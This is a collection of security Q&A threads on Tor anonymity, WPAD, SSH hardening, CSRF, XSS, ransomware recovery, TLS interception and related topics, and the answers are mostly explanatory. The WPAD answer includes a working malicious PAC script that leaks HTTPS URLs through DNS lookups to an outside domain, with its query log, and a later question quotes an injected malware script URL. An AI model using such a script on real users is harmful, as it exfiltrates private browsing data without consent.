How does Tor maintain anonymity when a source and destination are required at the end? I had a question about Tor and the anonymity status of a fully decrypted packet that leaves a Tor exit node.  My high-level understanding is that prior to a packet traversing the Tor network, a Tor client chooses 3 Tor relay nodes for the packet to go through and encrypts a packet with the exit node's public key, then encrypts the encrypted packet with a middle node's public key, then does it again with the entry node's public key.  And each node decrypts the packet as the packet arrives to it.

This is the part where I don't understand how this process achieves anonymity.  After the Tor exit node fully decrypts a packet, that packet will be a normal packet so it should have a source address and a destination address.  Therefore anyone who sniffs a packet after it leaves a Tor exit node will know what the source address and what the destination address is, right?

There must be something I don't understand about the The Onion Routing process and I was hoping somebody would help me with understanding how is the packet anonymous after it leaves the exit node. After all since it has been fully decrypted, its source and address fields can be sniffed just like any other packet?

The trick is that it's the payload of the packet that's encapsulated, not the whole TCP packet. Therefore, when the packet leaves the tor exit node unencrypted, it is sent with the return address of the tor exit node. So a service will know that a packet came from a tor exit node and is being anonymized, but unless there's information in the packet payload itself to identify you (such as login information, session coookies, or some protocol that includes your IP in the payload), the endpoint/service doesn't know the originator's IP.

Furthermore, the tor exit node tracks the session, so it can return the packet to you, but it's only tracking the session from the tor middle node to the service/website being accessed. So an exit node will be able to see the service/website being accessed, but won't know the originator.

The middle node in turn is only tracking the session between the entry node and the exit node. So it knows neither the originator nor the destination.

The entry node knows the originator's IP address, but doesn't know the destination.

The reason there are three nodes instead of two is to defend against someone who's compromised either the entry or the exit node from being able to sniff traffic going into/out of the other node and make reasonable conjectures on which originator traffic correlates with which destination traffic based on packet size and timing. With three nodes, the entry node doesn't know which exit node is used and vice versa.


Can Web Proxy Autodiscovery leak HTTPS URLs? The WPAD protocol can in some circumstances allow an attacker to get clients to use a malicious PAC script.

It appears to be well documented, that this can be used to perform MITM-attacks on HTTP traffic. However I don't see any discussion on the impact on HTTPS traffic.

As far as I can tell, it does not permit for a full MITM-attack on the HTTPS traffic since the PAC script can only direct the browser to which proxy to use, but there will still be an end-to-end SSL connection between the client and the legitimate server.

However one of the arguments for the FindProxyForURL function provided by the attacker is the full URL. Moreover FindProxyForURL can trigger DNS lookups.

Can an attacker utilize this to leak HTTPS URLs? If not, what protection is in place to prevent such leaks?

Yes, URL is passed to FindProxyForURL() and you can leak it out via DNS. Here is an example of PAC file:

function FindProxyForURL(url, host) {
    if (host == 'navalny.com') {
        var chunks = url.match(/[-a-zA-Z0-9]+/g);
        dnsResolve('x.darkk.net.ru.');
        if (chunks) {
            chunks.forEach(function(x) {
                dnsResolve(x + '.y.darkk.net.ru');
            });
        }
        dnsResolve('z.darkk.net.ru.');
        return 'SOCKS5 127.0.0.1:1024'; // drop connection
    }
    return 'DIRECT';
}

If Firefox/39.0 navigates to https://navalny.com/the-capability-url?q=q while this PAC file is active following DNS queries are sent:

Standard query 0xfb5d  A x.darkk.net.ru
Standard query 0x9ca7  AAAA x.darkk.net.ru
Standard query 0xf1cc  A x.darkk.net.ru
Standard query 0xf60c  AAAA x.darkk.net.ru
Standard query 0x574a  A https.y.darkk.net.ru
Standard query 0xfad9  AAAA https.y.darkk.net.ru
Standard query 0x2289  A https.y.darkk.net.ru
Standard query 0x7ed4  AAAA https.y.darkk.net.ru
Standard query 0x85b2  A navalny.y.darkk.net.ru
Standard query 0xa7cd  AAAA navalny.y.darkk.net.ru
Standard query 0x1ca9  A navalny.y.darkk.net.ru
Standard query 0xa400  AAAA navalny.y.darkk.net.ru
Standard query 0xec51  A com.y.darkk.net.ru
Standard query 0x1ea7  AAAA com.y.darkk.net.ru
Standard query 0x25bd  A the-capability-url.y.darkk.net.ru
Standard query 0x844c  AAAA the-capability-url.y.darkk.net.ru
Standard query 0x200b  A q.y.darkk.net.ru
Standard query 0x5a62  AAAA q.y.darkk.net.ru
Standard query 0xeb02  A q.y.darkk.net.ru
Standard query 0xaa2c  AAAA q.y.darkk.net.ru
Standard query 0xee8f  A z.darkk.net.ru
Standard query 0xe9b7  AAAA z.darkk.net.ru


Is it a security issue to allow nearly identical email addresses when registering? Say you have a website where it is possible to create accounts for all of the following email addresses:

'test@test.com'
'test@test.com '
'test@test.com;'
'test@test.com;test2@test.com'

Should this be considered a security issue?  I've tested to see if you can access test@test.coms data while logged in as test@test.com; and you cannot.

In spite of the fact that you can't access the accounts created using very similar email addresses this still seems, at the very least weird and possibly like it could lead to a security problem, but I can't think any specific security issues that could occur as a result.

Can anyone suggest any specific security issues that this setup could lead to?

The one and foremost problem with this approach is that in your example, only the first one is actually a syntactically valid email address. The three others are not. This means that one of the two following options holds:

The "email address" is merely a suggestion. The system wants a unique login identifier; email addresses are reasonably good identifier because users remember them, and the email system already ensures worldwide unicity.
The email address is really supposed to be an email address (e.g. to send emails to that address), and the registry system totally fails at validating that whatever the user entered is an email address.

In the latter case, this means that emails fail to be conveyed, and also that the developer was very sloppy with regards to user input validation, which is not a good sign for security, generally speaking.

However, if the identifiers are free form, then what you are witnessing is the result of the creativity of human users. It is not a problem as long as the login identifiers are used for what they are. Spaces, semicolons... can wreck poorly implemented scripts or applications. (Try registering with an account name containing a single quote, in case there is some possible SQL injection.)


Why is google's site identity icon a red lock? Why does google.com have this icon (see picture) for me? What does it mean?

Screenshot: Google.com. There are two lock icons. The top one is RED and the bottom one is green.

Screenshot: Google.se. There are two lock icons. Both of them are green.

As you can see, only google.com has the red icon, google.se has the green one. Although the certificates are not identical, they seem to be extremely similar.

TL;DR: It's not red for me. It's probably a local issue which is hard to determine given what you've said thus far.

Update

Based on the Certificate Information screenshots, it appears you have the same certificates as me. There is a discrepancy between the exact date on which they expire:

My cert: *January 4 at 6pm*
Your cert: *January 5 at 1am*

which matches the discrepancy between your time zone (UTC+01:00) and my time zone (UTC-06:00).

It would help to guarantee the certificates are the same if you checked the fingerprint information for the certificates.

If the fingerprints are the same, please check another browser or two on your computer. If the other browser on your computer is all green, the issue is probably with your browser. You might try to update or reinstall the browser.

If the other browser also has issues, try another computer on the same network (preferably one that you are almost certain has no possibility of malware installed like a newly installed, updated OS). If the other computer is fine, the problem might be with your computer. Honestly, if I had a situation like this I'd wipe my computer clean and reinstall the OS just to guarantee there was no malware or critical mis-configuration. However, you may prefer to try to solve the problem without such a drastic measure at your own risk.

If the other computer on the same network is also red, stop sending any private information on this network immediately as this is a strong indication someone may be attempting to intercept your communication.

Original Post

Google Chrome has four different Site Identity icons and four identical Connection information icons. The red icon in the screenshot you provide falls under the Connection Information section of the Connection tab. These icons have the following meanings:

As you can see, the red icon is the most severe and specifically states the browser knows there are problems with the site's certificate. The description goes on to warn that you should exercise caution. Whether or not (as the description suggests) "someone on your network might be messing with the website" is uncertain, though possible. However, there might also be an issue with some other part of your network, with DNS, with your HTTPS settings, or something else. It's really hard to tell without diving deep into the problem.

What you should know though, is this is not normal. On my Linux computer in the midwestern United States running the latest version of Google Chrome, the identity is verified by Google Internet Authority G2.

Requesting your language, I get the same result (it's the same domain so it should not make a difference):

Immediately I can see the output your provided is different than mine. I have No Certificate Transparency information was supplied by the server while you have Valid Certificate Transparency information was supplied by the server.

Also, my connection uses QUIC, while your connection uses TLS 1.2 (though I don't think this matters).

In terms of the Certificate Information, both are the same:

I believe your language is Swedish (since I determined sv stands for Swedish, but have not determined the difference between Svenska and Sverige). Using the top level domain for Sweden, I get the same results:

And here's the Certificate Information on the Swedish domain:

Here's the basics about my browser version:

So at this point my answer is: it's not, and that this might be an issue specific to your system/browser. Perhaps your browser does not trust Google Internet Authority G2 as a certificate authority for some reason. Perhaps there is a network issue causing this. Perhaps someone is trying to intercept your connection. It's too hard to tell given the info provided.

However, if you can provide the output of Certificate Information (especially if it's different than what I have), that might be helpful to ruling out a thing or two.


Why is it bad encrypt to with plain passwords as encryption key? It's my understanding that using "normal" passwords, such as an easy to remember sentence, is bad practice. Is that because such a string will not be random enough, or something else?

From Ruby's OpenSSL documenation

  There are a lot of ways to create insecure keys, the most notable is to simply take a password as the key without processing the password further.

A distinction needs to be made between the password you provide an encryption tool and the internal key it actually uses.

There is nothing inherently wrong in using a plain-text password providing it is long enough to be unguessable within a reasonable electronic timeframe. The level of unguessability is generally considered the level of entropy in the data set; although even very sophisticated statistical tests can only make educated guesses about actual unguessability (e.g. A truly random string is entirely guessable if everyone in the world has memorised it).

Most encryption algorithms require a fixed amount of internal entropy to work. Your password will contain a certain amount of entropy, usually less than the cipher uses. So your password is usually converted into its pure entropic bits which are then "stretched" across the internal key space in a manner appropriate to the cipher.

The stretching (or shrinking) is also required to ensure that semantic similarity across, say, natural language passwords, does not deform the possible range of cipher-text output. You do not want natural languages passwords (i.e. most passwords) to only produce cipher-text of predictable fraction of all possible outputs; as you could then infer type and even the length of password used.

As an end-user of any competent encryption tool you do not need to worry about this as it occurs behind the scenes. But you will need to know if directly using these libraries.


What is the difference between API keys and API tokens usages? From all the research that I have done, I have found that API keys are less secure than access tokens (under usage of oAuth), and should only be used for monitoring purposes.

But from what I understood, the server generates both of them. So if I were to use the same tough algorithm to create my access token, or to create the API key, wouldn't that make them similar?
Examples would help the cause of understanding them better as I didn't find any.

Some of the references:
https://cloud.google.com/endpoints/docs/when-why-api-key
https://zapier.com/engineering/apikey-oauth-jwt/

API keys are public, by intent. They are an authorisation mechanism, not an  authentication mechanism (this is mentioned in your links). It does not matter how they are generated but it matters how they are handled. In other words: "anyone with this key can enter".

So, you use API keys when you want to authorise and do not need to authenticate. You use authentication tokens, which are secured in handling, to authenticate the connection. In other words, "here is your unique key to allow you to enter this time".


Payment device compliance of PCI v2 AND PCIv3 Is there any known case of a pin pad device being compliant PCI v2 but by changing just a software component it becomes PCI v3 compliant?

I'm going to assume that when you say PCI v2 and PCI v3 you mean the PCI PTS POI standard - ie the one for physical devices that include pin entry or are secure card readers. I’d personally be very surprised if a software upgrade changed the appropriate version number, because the hardware security profile changed between v2 and v3. The easiest way to check is on the PCI SSC website. All PTS devices are listed here:
https://www.pcisecuritystandards.org/assessors_and_solutions/pin_transaction_devices


Can Netflix tell whether I am behind a VPN? I understand that if I enable geolocation option in Firefox, then Netflix can learn where I am, and by comparing my actual location with my reported location, Netflix can deduce that I am behind a VPN.

  If you consent, Firefox gathers information about nearby wireless
  access points and your computer’s IP address. Then Firefox sends this
  information to the default geolocation service provider.

But let's say if I disable that, will Netflix ( or other webservices) still be able to know that I am hiding behind a VPN? If yes, how?

They can't per se. But they can collect a list of the most popular known public VPN services and check if your IP matches with one of those VPN services. Whether they actually do that, I don't know.


Is it safe to allow users multiple login at different browsers & computers? We are currently developing a web application. The developers have allowed multiple login. e.g an user can log-in to multiple computers at the same time. They are quoting Gmail account as an example of allowing multiple access.

We have secured our web application similar to here.

Does allowing multiple login at different computers/browsers increase vulnerability to hacks? If yes, how can I explain this to the developers?

There is a good reason for preventing concurrent connections - if they are not needed by your users.

A good rule of thumb is to not allow more functionality than that which is needed. If your users are never going to connect more than one simultaneous session, disallowing it would reduce the risk of attack (as an attacker would not be able to conduct their attack while the user was logged in.)

If, however, your users may expect to use multiple sessions, then you'll have to have this functionality.

Really, this question comes down to a functionality issue - google know their users may need to connect from multiple machines/locations/browsers at the same time, so they just notify of other sessions, rather than prohibit them.


How to attract hackers? I'm contributing to an open source project and we setup a testbed for security testing. We want to start a challenge to find security flaws and my question is: how do we attract hackers to participate?

How shall the challenge be designed (except for a webpage that explains the why and how)?

There is a very limited budget (~1000 $) and we could do T-shirts & some swag, but there is no room to pay for bounties.

Edit1: What we want/need is the feedback from everyone who found a flaw, not just people hammering their tools onto the webapps.

There's several ways to go about this:

First, monetary rewards are a great incentive, but if you can't afford them you'll need to provide them with other types of rewards. I think creating a special page on your site/application and creating a 'hall of fame' list of people that have found vulnerabilities.

I'd also recommend that you consider running a CTF competition and include sections of your application's functionality in the CTF (or just make the CTF about who can find the most holes in your actual application). When you have a list of winners, post them publicly and keep them up so that people can reference it later.

If you decide to do either of the above, make sure you publicize it and detail your intentions/desired outcome, as Evan suggests, posting it to a security mailing list might help attract attention.

But as Terry says, if you build it, eventually someone will come and try to break it anyway regardless!


What methods are available for securing SSH? What methods are available for securing SSH?

Disable Root Login - Most automated attacks will concentrate on the root account so disallowing logins from that account is a good place to start.
Only Allow Certain Groups/Users - Limit what users and groups can SSH to the system.
Limit by IP or IP Range - One of the most effective ways of securing your system against SSH attacks.
Use Key Based Authentication - As described by Olivier
Use fail2ban - fail2ban will monitor attempted SSH logins and after a determined number of failed attempts it will block the attackers IP address for a set time period. This can be a very effective method for slowing down attackers.


Is it a security risk for users not to logout of a website? Is it a security risk to myself that I am not logging out of Twitter, Facebook, StackExchange, and a majority of the sites which I am using? Is there a chance for someone to hijack my session or cause damage to any of my online accounts?

For my situation, I am limiting all of the damage I can by running a VPN and trying to access all websites using https://. I know a lot of users do not do this, so there might be even more risk for them to stay logged in, but also for me, there still may be risk.

Yes, there is a risk - Cross-Site Request Forgeries. This attack ignores any encryption you apply to the channel between yourself and the web site by getting your browser (which holds the authentication cookie(s)) to submit a request to the vulnerable web site.

Though, in your favor, you would have to view some poisoned content to trigger the attack. The poisoned content could take the form of a link in a phishing email or a website serving an image tag with a malicious src.

It isn't exactly session hijacking (the attacker does not get to see the response(s) from the vulnerable web site), but it's close.

https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29


OpenSSH declares ssh-rsa deprecated. What do I do next? With the 8.2 release of OpenSSH, they have declared that ssh-rsa for SHA-1 will soon be removed from the defaults:

  Future deprecation notice

  It is now possible[1] to perform chosen-prefix attacks against the
  SHA-1 hash algorithm for less than USD$50K. For this reason, we will
  be disabling the ssh-rsa public key signature algorithm that depends
  on SHA-1 by default in a near-future release.

  This algorithm is unfortunately still used widely despite the
  existence of better alternatives, being the only remaining public key
  signature algorithm specified by the original SSH RFCs.

If I have (and might use, but not sure where) an ssh-rsa key, what are the next steps for me? Pretend I don't have another key yet.

Generate new key(s?).
Add new keys to known services.
Rename old key so it does not get picked up automatically?

This is to nudge me when I try a server that used to work, so I add the new key.

???

You don't need to do anything to your keys. From the same page that you quoted:

  The better alternatives include:

  The RFC8332 RSA SHA-2 signature algorithms rsa-sha2-256/512. These
  algorithms have the advantage of using the same key type as
  "ssh-rsa" but use the safe SHA-2 hash algorithms. These have been
  supported since OpenSSH 7.2 and are already used by default if the
  client and server support them.

(Emphasis mine)


why doesn't nmap outputs simultaneously during scan While running a scan over a huge range, we have to have to wait for the entire scan to complete, is there a specific reason why nmap doesn't output simultaneously? or its just to save time?

Because nmap is most often used to generate a result file; if none is specified, the results are written to stdout. That is what you are probably referring to.

It's just easier to have a single routine that collects data and then transforms it in the correct format for output.

More importantly:
Depending on the scan you are executing, there might be multiple results rolling in on different hosts at a time.

Thus, real time output of findings would be unstructured and unhelpful. If you rather want to know more of what is going on in the background, you can use the verbosity and debug flags to generate much, much, much more output.


How do hackers make the victim access an XSS attack URL? As I understand it, the basic idea of XSS is to let the user's browser execute some malicious code created by the hackers.

Say, if a page has a vulnerability of loading arbitrary script when user access this URL:

http://www.example.com/apage?filename=malicious.js

Then the browser will load the malicious.js file without any question, and the user will be hacked.

My question is, how do hackers make the user access such an URL?

As in the case above and all other techniques like it, all have one precondition: the user has to take some action that they wouldn't usually take.

If the hacker has to  come to say "hi, there is something funny, take a look!" to everyone, that won't be a very effective attack.

So, are there any tricks to make this happen automatically? Or any real-life cases that cause this?

the user did some actions that they won't do as usual

Clicking on a link does seem like a usual action for most users.

See for example this study, in which 56% of users clicked on links in E-Mails from an unknown sender, and ~40% clicked on links send via Facebook (despite 78% being aware of the possible danger). 50% said that they didn't click the link because they didn't know the sender.

That's already an impressive success rate. If the victim knows the attacker, or if the attacker spoofs the identity of someone they know, this rate could be increased even further.

On social networks, reflected XSS might also be wormable. In addition to the malicious action, the injected script could send messages containing the link to all friends of the victim (something like this eg happened to Twitter).

In addition to E-Mail, links could also be distributed in forums, blogs, issue trackers, and so on. This for example happened to Apache.


Are there unphotographable, but scannable ID cards? We have a client who hosts an event, with a tight budget, that uses lanyarded Photo-ID cards with barcodes on them.  The barcodes are used to gain access to various areas at the event.

We were thinking of proposing a hashed code (currently the IDs are sequential), but then it occured that it's pretty easy to 'swipe' a card
with high resolution photography, and then overlay one's existing barcode with a printout of the swipe.

Bearing in mind that we are using ean13 scanners, and there really is a tight budget (so NFC is out for the time being) - would an overlay, such as red cellophane, serve any purpose in mitigating this specific kind of attack?

Simple answer: No

If you can see it, you can photograph it.

There have been countless attempts over the years to solve this part of DRM and all have failed.

Instead of focusing on the barcode, have you considered making it difficult to copy the id card itself? So that security for each area can quickly check it isn't an overlay? For example a hologram over the barcode that the scanner ignores but a human can check, or a high quality plastic card with the barcode in the coloured coating - a guard can spot a fake overlay.


Java vulnerability applicability On a server running Java, can a JRE vulnerability be exploited even in cases where the named subcomponent is not used by the application?

See CVE-2011-3545, for which the vulnerable subcomponent is "Sound". My Java app does not use the Sound subcomponent.

This is a extremely generic question:
It is common to combine several minor vulnerabilities, that are not exploitable on their own, to exploit a system.
The jetty json parser happily loads any class that is named in the class attribute of a json string. And the main motivation to parse a json string on the server is to parse client data. JDBC drivers are supposed to register themselves on class load.
Another common minor vulnerability is to instantiate objects of user provided class-names via reflection before verifying that they implement the expected interface. This allows creation of all objects, that have a matching constructor, and execution of the code in that constructor.
So it really depends on the vulnerability and the control that can be exercised.
Edit
The official comment on the concrete vulnerability, you added to your question, is this:

CVE-2011-3545
Component: Sound
Access Vector: Network
See Note 2
Note 2: Applies to client and server deployments of Java. This vulnerability can be exploited through Untrusted Java Web Start applications and Untrusted Java applets. It can also be exploited by supplying data to APIs in the specified Component without using untrusted Java Web Start applications or untrusted Java applets, such as through a web service.

If that is all the information that is available, you should updated. "Access Vector: Network / web services" does not sound good.
Even worse: If your server has a web browser with Java installed, someone might be tempted to use the web for trouble shooting. This vulnerability is exploitable by visiting infected website without any user interaction (drive by download).


Is there a risk from anyone having access to a TPM chip before you install it? I intend to add a TPM chip to my computer’s motherboard to enable Bitlocker encryption for Windows 10.  I purchased the chip online, and I’m curious if there would theoretically be any security risk if anyone had access to the chip before I received it.  Does each chip contain any information such as unique keys by default which would be a risk if someone initially had access to it?

It would not be a risk. A TPM contains an Endorsement Key, or EK, which is used similarly to the web's PKI to certify a device as genuine and compliant with the TCG standard. They could not modify it or provide you with a new and malicious TPM unless they had the private key for the EK. This private key is not given out to the public anymore than root certificates for CAs are. The EK is unique for each device, but this is not a security risk. All they can do by knowing the EK is verify that the TPM is indeed genuine, the same way you can.

The TPM lies on the LPC bus, however it cannot use the LDRQ# line which is required to become bus master and mount a DMA attack. Because of this, even a malicious TPM is harmless.


Questions about WhoIsData-Requests and IP when I use websites (server A) like https://check-host.net/ip-info to get Whois-Data or the IP from another website (server B)...

1) ...do, generally speaking, those websites (server A) connect themselves to the website server (B) with their own server IP or is my personal IP being used to establish a connection to the server (server B) to receive whois data?

2) ...does server A/my IP (depending on question 1) really 'connect' to server B, as If I would have clicked on that website from Google, let's say? So basically, can the ISP or server owner see that the IP was on this specific server B?

In case of accessing the whois data no access will be done to the website in question at all. Instead a lookup is done against some public available databases which are neither in control of target A nor server B. When using B to lookup the whois for A the lookup in the public database will be done by B though which then sends the retrieved result embedded in the HTML page to your browser.

The same is true when looking up the IP address of a hostname using DNS. DNS is essentially a distributed database with several nodes in between which cache results. Even if you do a DNS lookup for the IP of A you don't access A yourself but you only access the configured DNS resolver, which is commonly the one in your router which then forwards the requests to the ISP's DNS resolver. And in your example this is also true for server B: it will just ask its configured DNS server.

The information shown about the owner of the IP address and estimated geographic location are also not retrieved by contacting A but are looked up in public and sometimes commercial databases which might be online or even be stored locally on server B.


USB OTG DMA Attack vector, any information about that? In that paper: http://www.delaat.net/rp/2011-2012/p14/report.pdf[1] is reported that USB OTG can be used to have direct DMA memory access and as a consequence have access to all the content of the memory of a device/computer.

I would like to know more about that attack vector.

Any idea about where can I find more information and/or some tool to exercise that attack vectors ?

Many thanks.

What I know are:

M. Jodeit and M. Johns. “USB Device Drivers: A Stepping Stone into your Kernel”. In: Computer Network Defense (EC2ND), 2010 European Conference on. IEEE. 2010.
D. Maynor. “0wn3d by everything else-USB/PCMCIA Issues”. In: Presentation at CanSecWest (2005).

In contrast to all the other buses mentioned, USB does not allow remote DMA; nowhere in the USB on-the-wire protocol are there memory addresses.
Only the driver and/or the OS can control from/to which memory addresses USB data is read/written.

OTG allows to change the roles of host and device, but does not change the USB protocol.

Jodeit/Johns talks only about bugs in USB device drivers.

Maynor talks about driver bugs, and then mentions something called "DMA attack", but gives no details whatsoever.
The most likely explanation is that he found some driver bug that allows the device to influence how the driver handles its memory buffers.
This would still be a bug in one specific driver, and has nothing to do with the remote DMA feature of other buses.

In other words: there is nothing dangerous about USB OTG itself, only with the quality of its drivers.


VPNs vulnerable to MiTM because ANY certificate goes I spoke to a sysadmin in a business center today who intended to basically perform a MiTM (as he called it) on every connection in his network because people in his office building are using VPNs and https connections to stream video, download torrents etc.. These services use up all the bandwidth but because they are encrypted connections his load balancer doesn't work.

The security firm he hired convinced him it is possible to set up a proxy server with his own valid and signed certificate (for the proxy server of course) which would dupe all browsers and VPN connections to accept the proxy as their endpoint. This would allow him to decrypt all traffic, verify its content and throttle if necessary, encrypt it once more and send it on its intended way without anyone being the wiser.

On the https part I managed to explain/convince him that any half decent https implementation is meant specifically to avoid MiTM attacks because certificates are linked to a specific domain or company. There is no way his proxy can dupe a browser to think it is connecting to the website while in fact connecting to the proxy server.

However, concerning VPNs he is adamant (or better yet, the security firm he hired for his network) that many VPN services or protocols will accept any certificate signed by a CA to create a secure connection. Whether or not that certificate is actually attributed to the server you are connecting to is not checked.

This seems highly unlikely to me and contrary to everything I know of secure connections but before I pick up that discussion I want to make sure I'm not missing some little known vulnerability in VPN protocols of software that very few people know about.

My question: is it true that some VPN protocols or VPN software will only check the validity of a certificate by checking whether it is signed by a CA and will not at all verify if the certificate is in fact attributed to the server you are connecting to?

-- small edit --
To specify why this should be possible: according to the security firm quite a few VPN softwares will accept any valid certificate and do not check if the certificate is actually linked to the server: any valid certificate is accepted.

Short answer:

Nope, can't be done. This is because a reputable Certificate Authority will not issue a certificate for a domain that your sysadmin does not control.

Long answer:

It can be done under some scenarios.

For example - if you're using OpenVPN to create a TLS connection to a VPN concentrator elsewhere in the world called...say...awesomevpn.sx, one of the first steps in the TLS handshake is server certificate validation. Your sysadmin could attempt to MITM this connection, but he would not be able to present a certificate for awesomevpn.sx because no CA will issue it to him, which would cause the connection to fail.

However, consider a scenario where a company has contracted a vendor to install packet inspection appliances. In order to perform MITM attacks on secure connections, the vendors will compel the installation of their own "root" certs onto client machines. That way, they can use their own CA to sign certificates for any domain. This can be done on the fly by the inspection appliances. When those certificates are presented to the client during the MITM sequence, they will be accepted, allowing the connection to complete, and the packets to be inspected in the clear.

This sounds like a weakness of the CA system, but remember that in a corporate environment, you do not have physical control over the machines owned by the company. Without physical control, it's game over in terms of security.

So the explanation you've been given is missing a key point - they did not mention the requirement to install their own root certs on client machines. It has nothing to do with a weakness in the VPN clients, or the various protocols used for secure connections.


Why does it not cause a buffer overflow when a large string is validated for length? I know that many buffer overflow attacks on servers are conducted by sending very large input strings through some HTML form etc.. The go-to mitigation technique for this, is to validate the length of the string and make sure it is not very long. However, I imagine that the string must be loaded into some fixed size buffer in memory to check it for length in the first place. Why can this not cause a buffer overflow?

I code exclusively in high-level languages where buffer overflow's are not an issue, so I apologize for not having a code example for you.

Example; when writing a string to memory which was received over the network: (untrustable data)

A space of memory is allocated to store the incoming string.
A string is read from the network in chunks. In many cases the length is not known.
The string is written at the starting position of the earlier allocation. Additional data is appended at that point until the desired delimiter is found. (i.e. \n in an HTTP request)

If the string is too long, then the data overflows beyond the allocated space, possibly overwriting additional memory allocated for another purpose. This often produces a safe crash; but in specific circumstances such attacks can have dire consequences, especially if the injected string will be interpreted as executable code.
A secure application will allocate a larger buffer as needed. This occurs automatically in a high-level language.
Alternatively you could truncate or reject data beyond the maximum length.

Additional examples can be found on Wikipedia

There are also read-only attacks that be performed on insecure programs:

If a buffer is allocated, but the write is incomplete, (i.e. string received is shorter than expected length) then there will be random data leftover in that buffer. If the buffer is later accessible by the attacker, then random memory can be stolen.

Most high-level languages will zero-out allocated buffers, but this is less efficient, so some languages provide an option (or default) to skip the zero-out step.
Integer overflow vulnerabilities could be used to bypass length checks later in the program. If a maliciously edited integer value is used to read memory locations or to set the length limit of a read operation, then random memory can be stolen.

Integer overflow would occur if math is performed before validation. For example, if(requestedDataLength + someModifier < limit) should be changed to if(requestedDataLength < limit - someModifier).

Integer overflow can be used for attacks that are unrelated to buffer allocation. Many high-level languages are be affected by integer overflow, but this is less common.

The consequences may vary but at the worst it could result in theft of sensitive access credentials or sensitive data.

In a high-level language, buffer allocation and length handling is automatic, and these vulnerabilities normally cannot arise.


My friend revealed both private and public keys for his server. How serious is this? A friend of mine managed to expose both id_rsa and id_rsa.pub file from his server via apache. I mentioned to him that this is serious security issue but he brushed this off like it was no big deal. Since I don't possess enough security knowledge to explain to him why this is bad can someone help me out here? Or maybe my friend is right and it is not as bad as I imagine it to be?

I suppose that these files are for "his SSH key" as a client.

Revealing the public key (id_rsa.pub) has no consequence: when we call it a public key we mean it. The private key (id_rsa) is of course the problem.

The way you use, as a client, your private key, is to push the corresponding public key into the server, in the .ssh/authorized_keys of the target account. When the public key is in this file, then whoever knows the private key may log into the server under that name. That's how the public/private keys work on the client side in SSH.

So there are basically three possible, rational reasons that would allow your friend to disregard the disclosure of his id_rsa file:

Maybe he never pushed the public key anywhere. When he logs into a server, he does it by typing his account password for that server, always. If his key pair is never used, then revealing the private key is harmless. But then, why would he have such a key pair?
Possibly, all the servers he connects to, with private key authentication, are located on a private network, with only non-hostile users, and strong isolation from the outside world.
It is conceivable that the private key is protected by a password (or "passphrase" in SSH terminology), which means that it really is encrypted with a key derived from the password; and your friend has great trust in the strength of his password.

Note that even if the private key is unprotected (or protected with a guessable password) and grants access to some servers reachable by attackers, then what the attackers can do is log in to these servers in the name of your friend (which is already a big problem). This does NOT grant to attackers the power to do a Man-in-the-Middle attack (MitM is double-impersonation, so a MitM attacker must know the private keys on both client and server); they cannot either decrypt past or future sessions that they eavesdrop on, or alter data of ongoing sessions (notably, the asymmetric keys in SSH are used for authentication, but the key exchange uses Diffie-Hellman).


Whatsapp suspicious message Received a message from an unknown individual on WhatsApp messenger. I did not recognize the number (the person is not on my contact list), and there is probably an attachment (4 messages were sent).
I deleted the message and the attachment without tapping to open the message (whatsapp asked whether I wanted to delete the attachment, I chose yes).
I believe the message was from a possible scammer sending a virus embedded in an attachment.
I also uninstalled  and  re-installed WhatsApp messenger.
A virus scan using multiple software on my phone yielded nothing was wrong.
Are there any other steps I should do to be secure?
Is there a way to prevent random messages like this on WhatsApp? (I have blocked this specific sender but I want to prevent such messages in general)

WhatsApp is an open protocol, anyone can message anyone.
Just deleting the message would have been good enough


What could be recovered after an interrupted ransomware attack? Four days ago my PC got phobos ransomware. I didn’t notice until three days ago, and the reason is that the attack stopped midway, leaving some of my data as it is and not leaving behind any ransom note or something like that.
Now, when I noticed the attack, I panicked so much, that I did two stupid mistakes. First, I deleted all (or I think I did) the files and programs that might be related to the attack (temp and prefetch folders, randomly named exe files, some software I’ve installed recently, and some strange module called frida-winjector). I now know that I should’ve sent these for analysis.
The second mistake: I had a backup but it seems that the backup software I’ve been using causes so much clatter on my external harddisk (some files had 4 copies!) so I decided I should (1) take all of that on my PC, (2) clean it up, (3) format the harddisk, then (4) put the backup back. The problem is, the ransomware attack happened on step 2, and in my panicking I copied all the unaffected data into the same backup harddisk, thus overwriting some of what may have remained of the lost data on the harddisk.
At first, I thought I could make use of shadow copies of my internal harddisk, since “encrypting a file” is just like renaming it, an encrypted copy is made and the old one deleted, so it must be in the shadow disk, right? Wrong, ransomware deletes shadow copies, as I’ve later found out.
But what if the attack stopped midway? When exactly in the process of the attack does the attacker delete the shadow copy? I’ve found the untouched data when I used a commercial recovery program, why then did I not find the encrypted data on the same disk?? Can someone understand what has happened?

In case of ransomware, you would be able to recover:

What hasn't yet been encrypted, obviously.

What hasn't been overwritten, using specialized file recovery tools. These file recovery tools detect removed file systems and files by analysing the contents of the unallocated space. As it uses the data (former contents of a file) to determine whether it once was a file and encrypted data won't have such patterns, it's not a surprise it won't be able to recover removed encrypted data.

Everything from the backups. Backups are the best weapon against ransomware there is! However, if the backups are stored somewhere the user has write access to, they may get encrypted by the ransomware, too.
My recommendations for a good backup solution:

pull instead of push
use incremental backups.


What's the point of Microsoft Account 2FA if it still lets me log in using password instead? I have a Microsoft Account linked to a Microsoft Authenticator app for 2FA purposes. Every time I log in, it first sends me the Authenticator request, but I can always click "Other ways to sign in" and then choose "Use my password instead", which then prompts me for the good old password, and logs me in successfully.

Lastly,

But doesn't that negate the point of having the 2FA at all?
I wouldn't expect this mix of a cargo cult meets security theater from a major corporation. Or did I misunderstand something?

You didn't actually set up 2FA. You set up your authenticator as an alternative method of single-factor authentication. This is clear from the first screenshot: "... to sign in without a password". If it didn't ask you for a password in the first place, it's probably not 2FA; the password is one of the two factors. The way I read this question it seemed like you'd gotten that prompt after entering your password, because that's when any second-factor authentication prompt would appear, but it looks like that's not what happened.
Go to https://account.live.com/proofs/manage/additional and click "Set up two-step authentication" if you actually want 2FA. You will still be able to "remember" trusted devices after you've completed the two-step auth on them, but any time you try to sign in using a new device (or a private browser, etc.) it should ask for both factors.


Stopping js malware injection on our Wordpress site This had been added to our wordpress site, specifically in the footer.php.

hxxp://pkktjuchlrv.peguards.cc/02b31ac5iq/get.js

It is malware as defined by google, i belive it is tracking code.

We have complex passwords and use https for /wp-admin. We do not however block access to /wp-admin using htaccess - but that would not have stopped this ?

How do they occur, how can I stop them ?

